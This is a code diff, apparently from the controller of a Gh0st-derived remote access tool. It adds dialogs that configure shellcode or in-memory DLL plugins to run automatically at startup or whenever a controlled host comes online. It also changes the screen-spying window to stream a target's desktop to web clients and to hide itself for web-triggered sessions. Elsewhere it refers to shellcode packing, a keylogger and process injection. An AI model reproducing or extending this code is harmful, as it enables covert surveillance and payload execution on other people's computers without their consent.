ProxyClientTcpPort(true); ProxyClientTcpPort(true);

View File

@@ -35,6 +35,9 @@ typedef struct DllInfo {
{ {
SAFE_DELETE(Data); SAFE_DELETE(Data);
} }
DllExecuteInfo* GetInfo() {
return (DllExecuteInfo*)(Data->Buf() + 1);
}
} DllInfo; } DllInfo;
typedef struct FileTransformCmd { typedef struct FileTransformCmd {
@@ -264,7 +267,7 @@ public:
bool IsDllRequestLimited(const std::string& ip); bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip); void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu; CMenu m_MainMenu;
CBitmap m_bmOnline[51]; // 21 original + 4 context menu + 2 tray menu + 23 main menu CBitmap m_bmOnline[54]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons
uint64_t m_superID; uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds; std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList; FileTransformCmd m_CmdList;
@@ -449,6 +452,9 @@ public:
afx_msg void OnShellcodeAesBin(); afx_msg void OnShellcodeAesBin();
afx_msg void OnShellcodeTestAesBin(); afx_msg void OnShellcodeTestAesBin();
afx_msg void OnToolReloadPlugins(); afx_msg void OnToolReloadPlugins();
afx_msg void OnToolPluginSettings();
afx_msg void OnTriggerSettings();
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
afx_msg void OnShellcodeAesCArray(); afx_msg void OnShellcodeAesCArray();
afx_msg void OnParamKblogger(); afx_msg void OnParamKblogger();
afx_msg void OnOnlineInjNotepad(); afx_msg void OnOnlineInjNotepad();
@@ -457,7 +463,7 @@ public:
afx_msg void OnParamPrivacyWallpaper(); afx_msg void OnParamPrivacyWallpaper();
afx_msg void OnParamFileV2(); afx_msg void OnParamFileV2();
afx_msg void OnParamRunAsUser(); afx_msg void OnParamRunAsUser();
void ProxyClientTcpPort(bool isStandard); void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
afx_msg void OnProxyPort(); afx_msg void OnProxyPort();
afx_msg void OnHookWin(); afx_msg void OnHookWin();
afx_msg void OnRunasService(); afx_msg void OnRunasService();
@@ -481,4 +487,5 @@ public:
afx_msg void OnMasterTrail(); afx_msg void OnMasterTrail();
afx_msg void OnCancelShare(); afx_msg void OnCancelShare();
afx_msg void OnWebRemoteControl(); afx_msg void OnWebRemoteControl();
afx_msg void OnProxyPortAutorun();
}; };

View File

@@ -337,6 +337,8 @@
<ClInclude Include="NotifySettingsDlg.h" /> <ClInclude Include="NotifySettingsDlg.h" />
<ClInclude Include="FeatureLimitsDlg.h" /> <ClInclude Include="FeatureLimitsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" /> <ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="TriggerSettingsDlg.h" />
<ClInclude Include="proxy\HPSocket.h" /> <ClInclude Include="proxy\HPSocket.h" />
<ClInclude Include="proxy\HPTypeDef.h" /> <ClInclude Include="proxy\HPTypeDef.h" />
<ClInclude Include="proxy\ProxyConnectServer.h" /> <ClInclude Include="proxy\ProxyConnectServer.h" />
@@ -385,6 +387,8 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile> </ClCompile>
<ClCompile Include="PluginSettingsDlg.cpp" />
<ClCompile Include="TriggerSettingsDlg.cpp" />
<ClCompile Include="WebService.cpp" /> <ClCompile Include="WebService.cpp" />
<ClCompile Include="..\..\client\MemoryModule.c"> <ClCompile Include="..\..\client\MemoryModule.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
@@ -537,6 +541,7 @@
<Image Include="res\Bitmap\Notify.bmp" /> <Image Include="res\Bitmap\Notify.bmp" />
<Image Include="res\Bitmap\PEEdit.bmp" /> <Image Include="res\Bitmap\PEEdit.bmp" />
<Image Include="res\Bitmap\Plugin.bmp" /> <Image Include="res\Bitmap\Plugin.bmp" />
<Image Include="res\Bitmap\PluginConfig.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" /> <Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" /> <Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\proxy.bmp" /> <Image Include="res\Bitmap\proxy.bmp" />
@@ -550,10 +555,12 @@
<Image Include="res\Bitmap\Shutdown.bmp" /> <Image Include="res\Bitmap\Shutdown.bmp" />
<Image Include="res\Bitmap\SpeedDesktop.bmp" /> <Image Include="res\Bitmap\SpeedDesktop.bmp" />
<Image Include="res\Bitmap\Trial.bmp" /> <Image Include="res\Bitmap\Trial.bmp" />
<Image Include="res\Bitmap\Trigger.bmp" />
<Image Include="res\Bitmap\unauthorize.bmp" /> <Image Include="res\Bitmap\unauthorize.bmp" />
<Image Include="res\Bitmap\update.bmp" /> <Image Include="res\Bitmap\update.bmp" />
<Image Include="res\Bitmap\VirtualDesktop.bmp" /> <Image Include="res\Bitmap\VirtualDesktop.bmp" />
<Image Include="res\Bitmap\Wallet.bmp" /> <Image Include="res\Bitmap\Wallet.bmp" />
<Image Include="res\Bitmap\WebDesktop.bmp" />
<Image Include="res\Bitmap_4.bmp" /> <Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" /> <Image Include="res\Bitmap_5.bmp" />
<Image Include="res\chat.ico" /> <Image Include="res\chat.ico" />

View File

@@ -80,6 +80,8 @@
<ClCompile Include="FeatureLimitsDlg.cpp" /> <ClCompile Include="FeatureLimitsDlg.cpp" />
<ClCompile Include="WebService.cpp" /> <ClCompile Include="WebService.cpp" />
<ClCompile Include="msvc_compat.c" /> <ClCompile Include="msvc_compat.c" />
<ClCompile Include="PluginSettingsDlg.cpp" />
<ClCompile Include="TriggerSettingsDlg.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\..\client\Audio.h" /> <ClInclude Include="..\..\client\Audio.h" />
@@ -182,6 +184,8 @@
<ClInclude Include="WebServiceAuth.h" /> <ClInclude Include="WebServiceAuth.h" />
<ClInclude Include="WebPage.h" /> <ClInclude Include="WebPage.h" />
<ClInclude Include="SimpleWebSocket.h" /> <ClInclude Include="SimpleWebSocket.h" />
<ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="TriggerSettingsDlg.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="2015Remote.rc" /> <ResourceCompile Include="2015Remote.rc" />
@@ -264,6 +268,9 @@
<Image Include="res\Bitmap\Trial.bmp" /> <Image Include="res\Bitmap\Trial.bmp" />
<Image Include="res\Bitmap\RequestAuth.bmp" /> <Image Include="res\Bitmap\RequestAuth.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" /> <Image Include="res\Bitmap\CancelShare.bmp" />
<Image Include="res\Bitmap\Trigger.bmp" />
<Image Include="res\Bitmap\WebDesktop.bmp" />
<Image Include="res\Bitmap\PluginConfig.bmp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<None Include="..\..\Release\ghost.exe" /> <None Include="..\..\Release\ghost.exe" />

View File

@@ -0,0 +1,361 @@
#include "stdafx.h"
#include "PluginSettingsDlg.h"
#include "2015RemoteDlg.h"
#include "resource.h"
#include "jsoncpp/json.h"
#include <fstream>
#include <sstream>
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
BEGIN_MESSAGE_MAP(CPluginSettingsDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_SAVE, &CPluginSettingsDlg::OnBnClickedBtnSave)
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_PLUGINS, &CPluginSettingsDlg::OnLvnItemchangedListPlugins)
END_MESSAGE_MAP()
CPluginSettingsDlg::CPluginSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
: CDialogLangEx(IDD_DIALOG_PLUGIN_SETTINGS, pParent)
, m_DllList(dllList)
, m_nSelectedIndex(-1)
{
}
CPluginSettingsDlg::~CPluginSettingsDlg()
{
}
void CPluginSettingsDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST_PLUGINS, m_listPlugins);
DDX_Control(pDX, IDC_COMBO_RUNTYPE_P, m_comboRunType);
DDX_Control(pDX, IDC_COMBO_CALLTYPE, m_comboCallType);
DDX_Control(pDX, IDC_COMBO_MODE, m_comboMode);
DDX_Control(pDX, IDC_EDIT_INTERVAL, m_editInterval);
DDX_Control(pDX, IDC_EDIT_MAXCOUNT, m_editMaxCount);
}
BOOL CPluginSettingsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
// 初始化列表控件
InitListCtrl();
// 初始化运行类型下拉框
m_comboRunType.InsertString(SHELLCODE, _TR("Shellcode"));
m_comboRunType.InsertString(MEMORYDLL, _TR("内存DLL"));
m_comboRunType.SetCurSel(MEMORYDLL);
// 初始化调用方式下拉框
m_comboCallType.InsertString(CALLTYPE_DEFAULT, _TR("自动检测"));
m_comboCallType.InsertString(CALLTYPE_IOCPTHREAD, _TR("IOCP线程"));
m_comboCallType.InsertString(CALLTYPE_FRPC_CALL, _TR("自定义FRPC[不可用]"));
m_comboCallType.InsertString(CALLTYPE_FRPC_STDCALL, _TR("标准FRPC[不可用]"));
m_comboCallType.SetCurSel(CALLTYPE_DEFAULT);
// 初始化调度模式下拉框
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]"));
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]"));
m_comboMode.SetCurSel(SCH_MODE_NONE);
// 加载配置
m_Configs = LoadPluginConfigs();
// 加载插件列表
LoadPluginsToList();
return TRUE;
}
void CPluginSettingsDlg::InitListCtrl()
{
m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_listPlugins.InsertColumn(0, _TR("名称"), LVCFMT_LEFT, 120);
m_listPlugins.InsertColumn(1, _TR("大小"), LVCFMT_RIGHT, 80);
m_listPlugins.InsertColumn(2, _TR("运行类型"), LVCFMT_LEFT, 80);
m_listPlugins.InsertColumn(3, _TR("调度模式"), LVCFMT_LEFT, 120);
m_listPlugins.InsertColumn(4, _TR("MD5"), LVCFMT_LEFT, 220);
GetDlgItem(IDC_STATIC_PLUGIN_SETTINGS)->SetWindowText(_TR("插件参数配置"));
GetDlgItem(IDC_STATIC_PLUGIN_RUNTYPE)->SetWindowText(_TR("运行类型:"));
GetDlgItem(IDC_STATIC_PLUGIN_CALLTYPE)->SetWindowText(_TR("调用方式:"));
GetDlgItem(IDC_STATIC_PLUGIN_SCHEDULE)->SetWindowText(_TR("调度模式:"));
GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):"));
GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:"));
SetWindowText(_TR("插件设置"));
}
void CPluginSettingsDlg::LoadPluginsToList()
{
m_listPlugins.DeleteAllItems();
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" };
int index = 0;
for (const auto& dll : m_DllList) {
if (!dll || !dll->Data) continue;
// 获取 DllExecuteInfo
const char* buf = (char*)(dll->Data->Buf());
if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue;
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
// 查找或创建配置
PluginConfig* cfg = FindConfig(dll->Name);
m_listPlugins.InsertItem(index, CString(dll->Name.c_str()));
CString sizeStr;
sizeStr.Format(_T("%d KB"), info->Size / 1024);
m_listPlugins.SetItemText(index, 1, sizeStr);
int runType = cfg ? cfg->RunType : info->RunType;
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0]));
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0]));
m_listPlugins.SetItemText(index, 4, CString(info->Md5));
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
index++;
}
}
void CPluginSettingsDlg::OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
*pResult = 0;
if (pNMLV->uNewState & LVIS_SELECTED) {
m_nSelectedIndex = pNMLV->iItem;
UpdateSelectedPluginInfo();
}
}
void CPluginSettingsDlg::UpdateSelectedPluginInfo()
{
if (m_nSelectedIndex < 0) return;
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(m_nSelectedIndex));
if (!dll || !dll->Data) return;
const char* buf = (char*)(dll->Data->Buf());
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
// 查找配置(如果有)
PluginConfig* cfg = FindConfig(dll->Name);
// 更新下拉框和编辑框
int runType = cfg ? cfg->RunType : info->RunType;
int callType = cfg ? cfg->CallType : info->CallType;
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
m_comboRunType.SetCurSel(runType < 2 ? runType : 0);
m_comboCallType.SetCurSel(callType < 4 ? callType : 0);
m_comboMode.SetCurSel(mode < 4 ? mode : 0);
CString str;
str.Format(_T("%u"), interval);
m_editInterval.SetWindowText(str);
str.Format(_T("%u"), maxCount);
m_editMaxCount.SetWindowText(str);
}
void CPluginSettingsDlg::OnBnClickedBtnSave()
{
if (m_nSelectedIndex < 0) {
MessageBoxL(_T("请先选择一个插件"), _T("提示"), MB_ICONINFORMATION);
return;
}
SaveCurrentPluginConfig();
SavePluginConfigs(m_Configs);
// 刷新列表显示
LoadPluginsToList();
// 重新选中
m_listPlugins.SetItemState(m_nSelectedIndex, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
MessageBoxL(_T("配置已保存"), _T("提示"), MB_ICONINFORMATION);
}
void CPluginSettingsDlg::SaveCurrentPluginConfig()
{
if (m_nSelectedIndex < 0) return;
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(m_nSelectedIndex));
if (!dll || !dll->Data) return;
const char* buf = (char*)dll->Data->Buf();
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
// 查找或创建配置
PluginConfig* cfg = FindConfig(dll->Name);
if (!cfg) {
PluginConfig newCfg;
newCfg.Name = dll->Name;
m_Configs.push_back(newCfg);
cfg = &m_Configs.back();
}
cfg->Md5 = info->Md5;
cfg->RunType = m_comboRunType.GetCurSel();
cfg->CallType = m_comboCallType.GetCurSel();
cfg->Mode = (unsigned char)m_comboMode.GetCurSel();
CString str;
m_editInterval.GetWindowText(str);
cfg->Interval = _ttoi(str);
m_editMaxCount.GetWindowText(str);
cfg->MaxCount = (unsigned char)_ttoi(str);
// 更新 DllInfo 中的 Buffer修改 DllExecuteInfo
DllExecuteInfo* infoMut = const_cast<DllExecuteInfo*>(info);
infoMut->RunType = cfg->RunType;
infoMut->CallType = cfg->CallType;
infoMut->Schedule.Mode = cfg->Mode;
infoMut->Schedule.Config.Startup.Interval = cfg->Interval;
infoMut->Schedule.MaxCount = cfg->MaxCount;
}
PluginConfig* CPluginSettingsDlg::FindConfig(const std::string& name)
{
for (auto& cfg : m_Configs) {
if (cfg.Name == name) {
return &cfg;
}
}
return nullptr;
}
std::string CPluginSettingsDlg::GetPluginConfigPath()
{
std::string dbPath = GetDbPath();
// 获取目录部分
size_t pos = dbPath.find_last_of("\\/");
std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : "";
return dir + "plugins.json";
}
std::vector<PluginConfig> CPluginSettingsDlg::LoadPluginConfigs()
{
std::vector<PluginConfig> configs;
std::string path = GetPluginConfigPath();
std::ifstream file(path);
if (!file.is_open()) {
return configs;
}
Json::Value root;
Json::CharReaderBuilder builder;
std::string errors;
if (!Json::parseFromStream(builder, file, &root, &errors)) {
return configs;
}
if (!root.isArray()) {
return configs;
}
for (const auto& item : root) {
PluginConfig cfg;
cfg.Name = item.get("name", "").asString();
cfg.Md5 = item.get("md5", "").asString();
cfg.RunType = item.get("runType", MEMORYDLL).asInt();
cfg.CallType = item.get("callType", CALLTYPE_IOCPTHREAD).asInt();
cfg.Mode = (unsigned char)item.get("mode", SCH_MODE_NONE).asInt();
cfg.Flags = (unsigned char)item.get("flags", 0).asInt();
cfg.Interval = item.get("interval", 0).asUInt();
cfg.MaxCount = (unsigned char)item.get("maxCount", 0).asInt();
if (!cfg.Name.empty()) {
configs.push_back(cfg);
}
}
return configs;
}
void CPluginSettingsDlg::SavePluginConfigs(const std::vector<PluginConfig>& configs)
{
std::string path = GetPluginConfigPath();
Json::Value root(Json::arrayValue);
for (const auto& cfg : configs) {
Json::Value item;
item["name"] = cfg.Name;
item["md5"] = cfg.Md5;
item["runType"] = cfg.RunType;
item["callType"] = cfg.CallType;
item["mode"] = cfg.Mode;
item["flags"] = cfg.Flags;
item["interval"] = cfg.Interval;
item["maxCount"] = cfg.MaxCount;
root.append(item);
}
std::ofstream file(path);
if (file.is_open()) {
Json::StreamWriterBuilder builder;
builder["indentation"] = " ";
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
writer->write(root, &file);
}
}
void CPluginSettingsDlg::PatchDllList(std::vector<DllInfo*>& dllList)
{
std::vector<PluginConfig> configs = LoadPluginConfigs();
for (auto& dll : dllList) {
if (!dll || !dll->Data) continue;
// 查找对应的配置
PluginConfig* cfg = nullptr;
for (auto& c : configs) {
if (c.Name == dll->Name) {
cfg = &c;
break;
}
}
if (!cfg) continue;
// 更新 DllExecuteInfo
char* buf = (char*)dll->Data->Buf();
if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue;
DllExecuteInfo* info = reinterpret_cast<DllExecuteInfo*>(buf + 1);
info->RunType = cfg->RunType;
info->CallType = cfg->CallType;
info->Schedule.Mode = cfg->Mode;
info->Schedule.Flags = cfg->Flags;
info->Schedule.Config.Startup.Interval = cfg->Interval;
info->Schedule.MaxCount = cfg->MaxCount;
}
}

View File

@@ -0,0 +1,73 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
#include "common/commands.h"
#include "common/scheduler.h"
#include <vector>
#include <string>
// 前向声明
struct DllInfo;
// 插件配置结构体(用于 JSON 存储)
struct PluginConfig {
std::string Name; // 插件名称(作为唯一标识)
std::string Md5; // MD5
int RunType; // 运行类型
int CallType; // 调用方式
unsigned char Mode; // 调度模式
unsigned char Flags; // 标志位
unsigned int Interval; // 间隔(秒)
unsigned char MaxCount; // 最大次数
PluginConfig() : RunType(MEMORYDLL), CallType(CALLTYPE_IOCPTHREAD), Mode(SCH_MODE_NONE), Flags(0), Interval(0), MaxCount(0) {}
};
// 插件设置对话框
class CPluginSettingsDlg : public CDialogLangEx
{
public:
CPluginSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent = nullptr);
virtual ~CPluginSettingsDlg();
enum { IDD = IDD_DIALOG_PLUGIN_SETTINGS };
// 静态方法:加载插件配置
static std::vector<PluginConfig> LoadPluginConfigs();
// 静态方法:保存插件配置
static void SavePluginConfigs(const std::vector<PluginConfig>& configs);
// 静态方法:获取配置文件路径
static std::string GetPluginConfigPath();
// 静态方法:根据配置更新 DllInfoPatch
static void PatchDllList(std::vector<DllInfo*>& dllList);
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
afx_msg void OnBnClickedBtnSave();
afx_msg void OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult);
private:
void InitListCtrl();
void LoadPluginsToList();
void UpdateSelectedPluginInfo();
void SaveCurrentPluginConfig();
PluginConfig* FindConfig(const std::string& name);
private:
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
std::vector<PluginConfig> m_Configs; // 插件配置列表
int m_nSelectedIndex; // 当前选中的列表项索引
// 控件变量
CListCtrl m_listPlugins;
CComboBox m_comboRunType;
CComboBox m_comboCallType;
CComboBox m_comboMode;
CEdit m_editInterval;
CEdit m_editMaxCount;
};

View File

@@ -156,7 +156,13 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
LPBYTE pClientID = m_ContextObject->InDeCompressedBuffer.GetBuffer(41); LPBYTE pClientID = m_ContextObject->InDeCompressedBuffer.GetBuffer(41);
if (pClientID) { if (pClientID) {
m_ClientID = *((uint64_t*)pClientID); m_ClientID = *((uint64_t*)pClientID);
Mprintf("[ScreenSpyDlg] Parsed clientID in constructor: %llu\n", m_ClientID);
// Notify web clients of resolution (important for clients that only send TOKEN_BITMAPINFO once)
if (WebService().IsRunning()) {
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
WebService().NotifyResolutionChange(m_ClientID, width, height);
}
} }
// 从客户端配置初始化自适应质量状态 (QualityLevel: -2=关闭, -1=自适应, 0-5=具体等级) // 从客户端配置初始化自适应质量状态 (QualityLevel: -2=关闭, -1=自适应, 0-5=具体等级)
@@ -758,6 +764,12 @@ BOOL CScreenSpyDlg::OnInitDialog()
// 注册屏幕上下文到 WebService用于 Web 端鼠标/键盘控制) // 注册屏幕上下文到 WebService用于 Web 端鼠标/键盘控制)
WebService().RegisterScreenContext(m_ClientID, m_ContextObject); WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
// Hide window if this session was triggered by web client
if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
m_bHide = true;
ShowWindow(SW_HIDE);
}
return TRUE; return TRUE;
} }
@@ -1254,6 +1266,10 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0]; m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex) { if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE; bChange = TRUE;
// 通知 Web 客户端光标变化
if (WebService().IsRunning()) {
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
}
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构 if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
HCURSOR cursor; HCURSOR cursor;
if (m_bCursorIndex == 254) { // -2: 使用自定义光标 if (m_bCursorIndex == 254) { // -2: 使用自定义光标
@@ -1295,6 +1311,24 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
break; break;
} }
case ALGORITHM_H264: { case ALGORITHM_H264: {
// Decode locally if dialog is visible
if (!m_bHide && NextScreenLength > 0) {
if (Decode((LPBYTE)NextScreenData, NextScreenLength)) {
bChange = TRUE;
}
}
// Broadcast H264 keyframe to web clients
if (NextScreenLength > 0 && WebService().IsRunning()) {
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
uint8_t frameType = 1; // Keyframe
uint32_t dataLen = (uint32_t)NextScreenLength;
memcpy(packet.data(), &deviceIdLow, 4);
packet[4] = frameType;
memcpy(packet.data() + 5, &dataLen, 4);
memcpy(packet.data() + 9, NextScreenData, NextScreenLength);
WebService().BroadcastH264Frame(m_ClientID, packet.data(), packet.size());
}
break; break;
} }
default: default:
@@ -1429,6 +1463,10 @@ VOID CScreenSpyDlg::DrawScrollFrame()
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0]; m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex) { if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE; bChange = TRUE;
// 通知 Web 客户端光标变化
if (WebService().IsRunning()) {
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
}
} }
// 读取滚动参数 // 读取滚动参数

View File

@@ -0,0 +1,497 @@
#include "stdafx.h"
#include "TriggerSettingsDlg.h"
#include "2015RemoteDlg.h"
#include "jsoncpp/json.h"
#include <fstream>
#include <sstream>
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
// GBK (CP_ACP) -> UTF-8 编码转换
static std::string GbkToUtf8(const std::string& gbkStr)
{
if (gbkStr.empty()) return "";
// GBK -> WideChar
int wideLen = MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, NULL, 0);
if (wideLen <= 0) return gbkStr;
std::wstring wideStr(wideLen, 0);
MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, &wideStr[0], wideLen);
// WideChar -> UTF-8
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL);
if (utf8Len <= 0) return gbkStr;
std::string utf8Str(utf8Len, 0);
WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, &utf8Str[0], utf8Len, NULL, NULL);
// 移除末尾的 null 字符
if (!utf8Str.empty() && utf8Str.back() == '\0') {
utf8Str.pop_back();
}
return utf8Str;
}
// UTF-8 -> GBK (CP_ACP) 编码转换
static std::string Utf8ToGbk(const std::string& utf8Str)
{
if (utf8Str.empty()) return "";
// UTF-8 -> WideChar
int wideLen = MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, NULL, 0);
if (wideLen <= 0) return utf8Str;
std::wstring wideStr(wideLen, 0);
MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, &wideStr[0], wideLen);
// WideChar -> GBK
int gbkLen = WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL);
if (gbkLen <= 0) return utf8Str;
std::string gbkStr(gbkLen, 0);
WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, &gbkStr[0], gbkLen, NULL, NULL);
// 移除末尾的 null 字符
if (!gbkStr.empty() && gbkStr.back() == '\0') {
gbkStr.pop_back();
}
return gbkStr;
}
BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_SAVE, &CTriggerSettingsDlg::OnBnClickedBtnSave)
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
END_MESSAGE_MAP()
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
: CDialogLangEx(IDD_DIALOG_TRIGGER_SETTINGS, pParent)
, m_DllList(dllList)
{
}
CTriggerSettingsDlg::~CTriggerSettingsDlg()
{
}
void CTriggerSettingsDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_COMBO_TRIGGER_TYPE, m_comboTriggerType);
DDX_Control(pDX, IDC_LIST_TRIGGER_PLUGINS, m_listPlugins);
DDX_Control(pDX, IDC_LIST_TRIGGERS, m_listTriggers);
}
BOOL CTriggerSettingsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
InitControls();
// 加载配置
m_Configs = LoadTriggerConfigs();
// 加载插件列表
LoadPluginsToList();
// 加载已配置的触发器
LoadTriggersToList();
return TRUE;
}
void CTriggerSettingsDlg::InitControls()
{
// 初始化触发类型下拉框
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
// 初始化插件列表
m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_CHECKBOXES);
m_listPlugins.InsertColumn(0, _TR("插件名称"), LVCFMT_LEFT, 160);
// 初始化已配置触发器列表
